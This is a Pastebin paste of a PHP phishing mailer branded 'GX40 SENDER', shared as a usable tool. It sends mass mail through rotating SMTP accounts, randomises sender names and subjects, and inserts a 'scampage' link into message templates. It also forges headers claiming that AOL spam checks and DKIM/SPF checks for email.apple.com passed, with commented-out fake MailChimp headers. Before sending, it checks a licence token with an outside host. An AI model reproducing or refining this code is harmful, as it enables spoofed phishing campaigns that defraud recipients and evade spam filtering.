Advertisement
Guest User

Untitled

a guest
Dec 22nd, 2017
2,332
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.32 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ERROR | E_PARSE);
  3. set_time_limit(0); //
  4. //ini_set('display_errors', false);
  5. //require_once 'Server.php';
  6. require 'setting/phpmailer/PHPMailerAutoload.php';
  7. require 'setting/phpmailer/class.phpmailer.php';
  8. require 'setting/Gx.function.php';
  9. require 'setting/Gx.settings.php';
  10.  
  11. echo "\r\n";
  12. echo "\r\n";
  13. echo "              \e[91mIIIIIIIIIIDDDDDDDDDDDDD        NNNNNNNN        NNNNNNNN\r\n";
  14. echo "              I::::::::ID::::::::::::DDD     N:::::::N       N::::::N\r\n";
  15. echo "              I::::::::ID:::::::::::::::DD   N::::::::N      N::::::N\r\n";
  16. echo "              II::::::IIDDD:::::DDDDD:::::D  N:::::::::N     N::::::N\r\n";
  17. echo "                I::::I    D:::::D    D:::::D N::::::::::N    N::::::N\r\n";
  18. echo "                I::::I    D:::::D     D:::::DN:::::::::::N   N::::::N\r\n";
  19. echo "                I::::I    D:::::D     D:::::DN:::::::N::::N  N::::::N\r\n";
  20. echo "                ======    =======     ====================== ========\e[0m\r\n";
  21. echo "                \e[101m                                                     \r\n";
  22. echo "\e[0m                         GX40 SENDER V.1.5 - INDONESIADARKNET\r\n";
  23. echo "                \e[107m                                                     \r\n";
  24. echo "\e[0m                ======    =======     ===============  ==============\r\n";
  25. echo "                I::::I    D:::::D     D:::::DN::::::N   N:::::::::::N\r\n";
  26. echo "                I::::I    D:::::D     D:::::DN::::::N    N::::::::::N\r\n";
  27. echo "                I::::I    D:::::D    D:::::D N::::::N     N:::::::::N\r\n";
  28. echo "              II::::::IIDDD:::::DDDDD:::::D  N::::::N      N::::::::N\r\n";
  29. echo "              I::::::::ID:::::::::::::::DD   N::::::N       N:::::::N\r\n";
  30. echo "              I::::::::ID::::::::::::DDD     N::::::N        N::::::N\r\n";
  31. echo "              IIIIIIIIIIDDDDDDDDDDDDD        NNNNNNNN         NNNNNNN\r\n";
  32.  
  33. echo "\r\n";
  34.  
  35.  
  36.  
  37.  
  38. $gettoken = reqToken();
  39. function reqToken()
  40. {
  41.     $token = file_get_contents(dirname(__FILE__) . "/file/token/GX40.txt");
  42.     $url   = 'http://e38ea3b438794a3026858875ec25e1db-greatestbuyer330635152.codeanyapp.com/index.php?token=' . $token;
  43.     if (function_exists('curl_version')) {
  44.         $ch = curl_init();
  45.         curl_setopt($ch, CURLOPT_URL, $url);
  46.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  47.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  48.         curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
  49.         $result = curl_exec($ch);
  50.         curl_close($ch);
  51.     } else {
  52.         $result = file_get_contents($url);
  53.     }
  54.     $result = json_decode($result, true);
  55.  
  56.     return $result;
  57. }
  58. function Kirim($email, $smtp_acc, $gx_setup)
  59. {
  60.     $smtp           = new SMTP;
  61.     $smtp->do_debug = 0;
  62.  
  63.     $smtpserver     = $smtp_acc['host'];
  64.     $smtpport       = $smtp_acc['port'];
  65.     $smtpuser       = $smtp_acc['username'];
  66.     $smtppass       = $smtp_acc['password'];
  67.     $priority       = $gx_setup['priority'];
  68.     $userandom      = $gx_setup['userandom'];
  69.     $sleeptime      = $gx_setup['sleeptime'];
  70.     $replacement    = $gx_setup['replacement'];
  71.     $userremoveline = $gx_setup['userremoveline'];
  72.     $fromname       = $gx_setup['fromname'];
  73.     $frommail       = $gx_setup['frommail'];
  74.     $subject        = $gx_setup['subject'];
  75.     $msgfile        = $gx_setup['msgfile'];
  76.     $filepdf        = $gx_setup['filesend'];
  77.     $randurl        = $gx_setup['scampage'];
  78.  
  79.     if (!$smtp->connect($smtpserver, $smtpport)) {
  80.         throw new Exception('Connect failed');
  81.     }
  82.  
  83.     //Say hello
  84.     if (!$smtp->hello(gethostname())) {
  85.         throw new Exception('EHLO failed: ' . $smtp->getError()['error']);
  86.     }
  87.  
  88.     $e = $smtp->getServerExtList();
  89.  
  90.     if (array_key_exists('STARTTLS', $e)) {
  91.         $tlsok = $smtp->startTLS();
  92.         if (!$tlsok) {
  93.             throw new Exception('Failed to start encryption: ' . $smtp->getError()['error']);
  94.         }
  95.         if (!$smtp->hello(gethostname())) {
  96.             throw new Exception('EHLO (2) failed: ' . $smtp->getError()['error']);
  97.         }
  98.         $e = $smtp->getServerExtList();
  99.     }
  100.  
  101.     if (array_key_exists('AUTH', $e)) {
  102.  
  103.         if ($smtp->authenticate($smtpuser, $smtppass)) {
  104.             $mail           = new PHPMailer;
  105.             $mail->Encoding = 'base64'; // 8bit base64 multipart/alternative quoted-printable
  106.             $mail->CharSet  = 'UTF-8';
  107.             $mail->headerLine("format", "flowed");
  108.             /*  Smtp connect    */
  109.             //$mail->addCustomHeader('X-Ebay-Mailtracker', '11400.000.0.0.df812eaca5dd4ebb8aa71380465a8e74');
  110.             $mail->IsSMTP();
  111.             $mail->SMTPAuth = true;
  112.             $mail->Host     = $smtpserver;
  113.             $mail->Port     = $smtpport;
  114.             $mail->Priority = $priority;
  115.             $mail->Username = $smtpuser;
  116.             $mail->Password = $smtppass;
  117.  
  118.             if ($userandom == 1) {
  119.                 $rand     = rand(1, 50);
  120.                 $fromname = randName($rand);
  121.                 $frommail = randMail($rand);
  122.                 $subject  = randSubject($rand);
  123.             }
  124.  
  125.             if ($filesend == 0) {
  126.                 $filepdf = file_get_contents($AddAttachment);
  127.                 $mail->AddAttachment($filepdf);
  128.             }
  129.  
  130.             $asu       = RandString1(8);
  131.             $asu1      = RandString(5);
  132.             $asu2      = RandString1(5);
  133.             $nmbr      = RandNumber(5);
  134.             $fromnames = str_replace('##randstring##', $asu1, $fromname);
  135.             $frommails = str_replace('##randstring##', $asu, $frommail);
  136.             $subjects  = str_replace('##randstring##', $asu2, $subject);
  137.  
  138.  
  139.             /*HEADER ADD*/
  140.  
  141.             $mail->addCustomHeader('X-EmailType-Id', $subjects);
  142.             $mail->addCustomHeader('X-Sent-To', $email);
  143.             $mail->addCustomHeader('X-Attach-Flag', 'N');
  144.             $mail->addCustomHeader('X-Reference', $frommails);
  145.             $mail->addCustomHeader('X-TXN_ID', 'custom-value');
  146.             $mail->addCustomHeader('X-Business-Group', $fromnames);
  147.             $mail->addCustomHeader('X-DKIM_SIGN_REQUIRED','YES');
  148.             $mail->addCustomHeader('x-aol-global-disposition','G');
  149.             $mail->addCustomHeader('X-AOL-VSS-INFO','G');
  150.             $mail->addCustomHeader('X-AOL-VSS-CODE','CLEAN');
  151.             $mail->addCustomHeader('X-AOL-SCOLL-AUTHENTICATION','mtaiw-mad01.mx.aol.com ; domain : email.apple.com DKIM : pass');
  152.             $mail->addCustomHeader('x-aol-sid','3039ac1addc75a145f8149a9');
  153.             $mail->addCustomHeader('X-AOL-SPF','domain : email.apple.com SPF : pass');
  154.  
  155.             /* Yahoo */
  156.             /* $mail->addCustomHeader('X-Mailer','MailChimp Mailer - **CID1f1e04897ba877cf3313**');
  157.             $mail->addCustomHeader('X-Campaign','mailchimpa813b06f1ff5b066769f481f6.1f1e04897b');
  158.             $mail->addCustomHeader('X-campaignid','mailchimpa813b06f1ff5b066769f481f6.1f1e04897b');
  159.             $mail->addCustomHeader('X-Report-Abuse','lease report abuse for this campaign here: http://www.mailchimp.com/abuse/abuse.phtml?u=a813b06f1ff5b066769f481f6&id=1f1e04897b&e=a877cf3313');
  160.             $mail->addCustomHeader('X-MC-User','a813b06f1ff5b066769f481f6');
  161.             $mail->addCustomHeader('Feedback-ID','50044413:50044413.661941:us12:mc');
  162.             $mail->addCustomHeader('List-ID','a813b06f1ff5b066769f481f6mc list <a813b06f1ff5b066769f481f6.230069.list-id.mcsv.net>');
  163.            */
  164.             /*HEADER ADD END*/
  165.             $mail->setFrom($frommails, $fromnames);
  166.  
  167.             $mail->AddAddress($email);
  168.  
  169.             $mail->Subject = $subjects;
  170.             if ($replacement == 1) {
  171.                 $msg = lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject);
  172.             } else {
  173.                 $msg = file_get_contents($msgfile);
  174.             }
  175.  
  176.             $mail->msgHTML($msg);
  177.  
  178.             if (!$mail->send()) {
  179.                 echo "SMTP Error : " . $mail->ErrorInfo;
  180.                 exit();
  181.             } else {
  182.                 echo "\e[91m[+] \e[4m";
  183.                 echo date('h:i:s A');
  184.                 echo "\e[0m \e[91m[+] \e[0m Send To : $email \e[91m|\e[0m Send From : $smtpuser \e[91m|\e[0m Email From : $frommails \e[91m|\e[0m Send Success \e[91m√\e[0m     \n";
  185.             }
  186.             $mail->clearAddresses();
  187.  
  188.         } else {
  189.             throw new Exception('Authentication failed: ' . $smtp->getError()['error']);
  190.         }
  191.  
  192.         $smtp->quit(true);
  193.  
  194.     }
  195.  
  196. }
  197.  
  198.  
  199. if ($gettoken['status'] == "ok") {
  200.     $file = file_get_contents($gx_setup['mail_list']);
  201.     if ($file) {
  202.         $ext = explode("\r\n", $file);
  203.         echo "                               \e[1;4m_________________\e[0m \r\n";
  204.         echo "\e[91m=============================[\e[0m \e[1;4mGX40 SENDER READY\e[0m \e[91m]==============================\e[0m";
  205.         echo "\r\n";
  206.         echo "\n";
  207.         $smtp_key = 0;
  208.         foreach ($ext as $num => $email) {
  209.  
  210.             if ($smtp_key == count($smtp_acc)) {
  211.                 $smtp_key = 0;
  212.             }
  213.             //kirim
  214.             Kirim($email, $smtp_acc[$smtp_key], $gx_setup);
  215.  
  216.             $smtp_key++;
  217.  
  218.             ///
  219.             sleep($gx_setup['sleeptime']);
  220.         }
  221.         if ($gx_setup['userremoveline'] == 1) {
  222.             $remove = Removeline($mailist, $email);
  223.         }
  224.     }
  225. } else {
  226.     die("\r\nToken Not Valid\r\n");
  227. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement